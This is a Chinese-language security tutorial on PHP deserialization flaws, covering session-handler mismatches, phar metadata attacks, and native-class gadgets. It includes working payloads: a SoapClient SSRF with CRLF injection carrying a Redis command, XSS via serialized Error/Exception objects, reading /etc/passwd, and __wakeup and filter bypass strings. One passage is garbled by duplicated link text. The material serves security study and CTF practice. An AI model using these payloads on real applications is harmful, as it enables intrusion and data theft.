PHP反序列化漏洞
序列化与反序列化:
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
其实就是将数据转化成一种可逆的数据结构,反序列化就是其逆向的过程。
序列化的目的是方便数据的传输和存储。
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存。
常见的序列化格式:
- 二进制格式
- 字节数组
- json字符串
- xml字符串
PHP序列化操作使用serialize / unserialize函数,序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
serialize():
serialize(mixed $value)
用于序列化值,并返回字符串,保存了其类型和结构。
序列化的值可以是任意类型的包括object|array|string|int|float|bool|null
unserialize():
unserialize(string $str)
用于将通过 serialize() 函数序列化后的值进行反序列化,并返回其原始结构。
序列化字符串格式:
变量类型:变量长度:变量内容
列如,序列化的是一个对象:
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
//变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
属性类型(访问控制修饰符):
空字符也有长度,一个空字符长度为 1。php7.1+版本对属性类型不敏感。
public(公有)
protected(受保护) // %00*%00属性名
private(私有的) // %00类名%00属性名
\x00
为ascii码为0的不可见字符,复制过程中会导致截断,通常需要配合url编码或者base64编码,为了方便传输,或者在ascii大小有限制(如 32 <= ascii <= 125)时可以使用 S 配合十六进制 \00
魔术方法
而在序列化和反序列化一个对象的过程中PHP回去自动的调用一些方法,也被称作魔术方法。
- __wakeup() //使用unserialize时触发
- __construct () //具有构造函数的类会在每次创建新对象时先调用此方法。
- **__destruct() ** //对象被销毁时触发
- __toString() //把类当作字符串使用时触发,返回值需要为字符串:如:echo 打印字符串;和字符串拼接、比较;php字符串函数(如 strlen、addslashes)
- __sleep() //使用serialize时前触发
- __get() //用于从不可访问的属性读取数据,包括:(1)私有属性,(2)没有初始化的属性
- __set() //用于将数据写入不可访问的属性
- __isset() //在不可访问的属性上调用isset()或empty()触发
- **__unset() ** //在不可访问的属性上使用unset()时触发
- __call() //当程序调用到当前类中未声明或没权限调用的方法时,就会调用call方法。__call()方法包含两个参数,即方法名和方法参数。其中,方法参数是以数组形式存在的。
- __invoke() //当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
漏洞成因:
入口可控,反序列化任意对象,调用类中的自动触发的魔术方法,从而勾起其他类中的魔术方法,形成pop链最后完成命令执行。
利用方式:
Session反序列化
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_
+sessionid
来进行命名的,如:
PHPSESSID=test => sess_test
php.ini中相关的session配置:
选项 | 作用 |
---|---|
session.save_path | 设置session的存储路径 |
session.save_handler | 设定用户自定义存储函数 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话默认为0不启动 |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php |
session.use_strict_mode | 默认为0,此时会生成对应的session,即使没有初始化 |
session.auto_start | 开启后,在接受请求时自动初始化session |
session.upload_progress.enabled session.upload_progress.cleanup | php将会把此次文件上传的详细信息存储在session当中。 当文件上传结束后,php将会立即清空对应session文件中的内容 |
session.upload_progress.prefix | prefix+name将表示为session中的键名 |
session.upload_progress.name | 当一个上传在处理中,同时POST一个与name同名变量时,上传进度可以在$_SESSION中获得 |
- 默认值:
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
序列化和反序列化的引擎差异
PHP中的Session经序列化后存储,读取时再进行反序列化。
PHP的三种序列化处理器:
处理器 | 格式 | 例子 |
---|---|---|
php | 键名 + 竖线 + 经过serialize()函数反序列化处理的值 | `name |
php_binary | 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值 | <0x04>names:5:"hello"; |
php_serialize(php>=5.5.4) | 经过serialize()函数反序列处理的数组 | a:1:{s:4:"name";s:5:"hello";} |
**漏洞成因:**利用$_SEESION
数据在序列化存储和反序列化读取时使用的不同处理器之间的序列化格式解析差异,导致数据无法正确反序列化,就可能产生漏洞。
Example:
当存储时由php_serialize处理,传入a=|O:4:"test":hello:{}
,session中的内容:a:1:{s:1:"a";s:20:"|O:4:"test":hello:{}";”;}
。这在php_serialize中是一个数组,包含一个元素。
但是在另一个页面读取时使用的是默认的序列化器php,|
前的部分被解析为键,|
后的O:4:"test":hello:{}";
被解析为值,进行反序列化,最后的";}
会被直接忽略掉。
LCTF2018-bestphp’s revenge 详细题解
session.upload_progress反序列化
Jarvis OJ–PHPINFO 以这题为例,下面是代码:
这题有反序列化命令执行的类,但并没有序列化入口。注意到代码开启了session_start , 并且ini_set('session.serialize_handler', 'php');
设置了序列化的引擎为php,而php默认的引擎为php_serialize(php>=5.5.4)。查看phpinfo,可以看到这里就有上面提到的session引擎差异。
但题目没有$_SESSION['name']
这种入口,不过题目开启了session.upload_progress.enabled=On
:
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 S E S S I O N ] ( h t t p s : / / w w w . p h p . n e t / m a n u a l / z h / r e s e r v e d . v a r i a b l e s . s e s s i o n . p h p ) 中获得。当 P H P 检测到这种 P O S T 请求时,它会在 [ _SESSION](https://www.php.net/manual/zh/reserved.variables.session.php)中获得。 当PHP检测到这种POST请求时,它会在[ SESSION](https://www.php.net/manual/zh/reserved.variables.session.php)中获得。当PHP检测到这种POST请求时,它会在[_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
phpinfo中可以看到设置session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
所以提交文件上传包:
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="test" />
<input type="file" name="file" />
<input type="submit" />
</form>
抓包修改,payload在序列化的字符串前加|
,可以设置在PHP_SESSION_UPLOAD_PROGRESS
的值里面或者是文件名,这两者都会被写入session文件中。
Phar反序列化
PHAR (Php ARchive
) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
phar:// 与file:// php://等类似,也是一种流包装器。phar:// 允许我们将多个文件归入一个本地文件夹。PHP的文件操作函数能够接受许多内置的流包装器。
Phar结构:
- stub phar 文件标识,格式为
xxx<?php xxx; __HALT_COMPILER();?>
;可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。来绕过一些上传限制。如:$phar->setStub('GIF89a'."__HALT_COMPILER();");
- manifest 压缩文件的属性等信息,以序列化存储;
- contents 压缩文件的内容;
- signature 签名,放在文件末尾;
manifest存储了经过serialize( )处理的Meta-data,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。
漏洞利用条件:
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
从 PHP 源码探索 phar 利用成功的深层原因,从这篇文章中可以看到受影响的函数最终都会调用php_stream_open_wrapper_ex
这个函数:
相关的文件操作函数:
绕过方式
同样的还有一些伪协议流也可以触发phar,当环境限制了phar不能出现在前面的字符里时可用:
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
还有一种情况是检测文件内容,从虎符线下CTF深入反序列化利用。可以参考这篇文章中的内容:
//gzip
gzip phar.phar
//bzip2
bzip2 phar.phar
//tar
file_put_contents('.phar/.metadata',serialize($a));
tar -cf test.tar .phar/
//zip
$a=serialize(new a());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();
PHP原生类反序列化利用
如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链,那么原生类就是一条出路。
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求,可进行ssrf攻击。
必须调用SoapClient不存在的方法,触发SoapClient
的__call
魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
详情请参考:[反序列化之PHP原生类的利用](https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html)
利用__call
魔术方法:
SSRF
SoapClient
这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。
<?php
$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
http头部还存在crlf漏洞,
<?php
$poc = "CONFIG SET dir /root/";
$target = "http://example.com:5555/";
$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo urlencode($aaa);
//Test
$c = unserialize($aaa);
$c->notexists();
利用__toString
魔术方法:
XSS
Error
适用于php7版本,开启报错的情况下:
<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;
Exception
适用于php5、7版本,开启报错的情况下:
<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');
echo unserialize($c);
文件操作
遍历目录类
• DirectoryIterator 类 __toString()
• FilesystemIterator 类 __toString()
• GlobIterator 类
<?php
$dir=new DirectoryIterator("/"); //也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径
$dir1=new DirectoryIterator("glob:///*flag*");
echo $dir;
echo $dir1;
<?php
$dir=new FilesystemIterator("/"); //与基本类似
echo $dir;
<?php
$dir=new GlobIterator("/*flag*"); //其行为类似于 glob(),可以通过模式匹配来寻找文件路径不需要配合glob协议
echo $dir;
也可以使用上面可遍历目录类的特性绕过 open_basedir
可读取文件类
SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。详情请参考:https://www.php.net/manual/zh/class.splfileobject.php。该类的构造方法可以构造一个新的文件对象用于后续的读取。
我们可以像类似下面这样去读取一个文件的一行:
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
当然也可以配合伪协议进行读取,在读取的php文件第一行只有<?php 标签时 可读取后续内容
php://filter/read=convert.base64-encode/resource=xxx.php
删除文件类
ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。
ZipArchive::open($filename, ZipArchive::OVERWRITE)
XML解析类(XXE)
一些绕过小trick
__wakeup( )绕过 (5.6.25 or 7.0.10以下版本)
CVE-2016-7124,反序列化时,wakeup触发于unserilize()调用之前,但是如果表示对象属性个数的值大于真实的属性个数时,会导致反序列化失败而同时使得__wakeup失效。
O:4:"test":3:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
O:4:"test":2:{s:8:"username";s:5:"admin";} //题目限制属性个数是可用
绕过字符过滤
O:4:"test":1:{s:8:"username";s:5:"admin";}
O:4:"test":1:{S:8:"\75sername";s:5:"admin";}
表示字符类型的s大写时,会被当成16进制解析。
绕过部分正则
preg_match('/^O:\d+/')
匹配序列化字符串是否是对象字符串开头
serialize(array($a));//$a
为要反序列化的对象
序列化结果开头是a,不影响作为数组元素的$a的析构O:+3:”aaa”...
利用加号绕过(注意在url里传参时+要编码为%2B
)
利用引用
将$c设置为$b的引用,$test->c = &$test->b
,可以使$c永远与$b相等
可以用在一些存有flag的变量没有输出点的情况
class test{
public $a;
public $b;
public $c;
function __destruct(){
$this->b='xxxxxx';
if($this->c===$this->b){
system($this->a);
}
}
}
PHP反序列化字符逃逸
过滤后字符变多或者变少,也可分值逃逸或者键逃逸,本质上都是重新构造闭合
参考:
https://blog.csdn.net/qq_19876131/article/details/52890854
https://www.cnblogs.com/ichunqiu/p/10484832.html
https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.jianshu.com/p/19e3ee990cb7
https://xz.aliyun.com/t/1773/
https://www.anquanke.com/post/id/162300#h2-10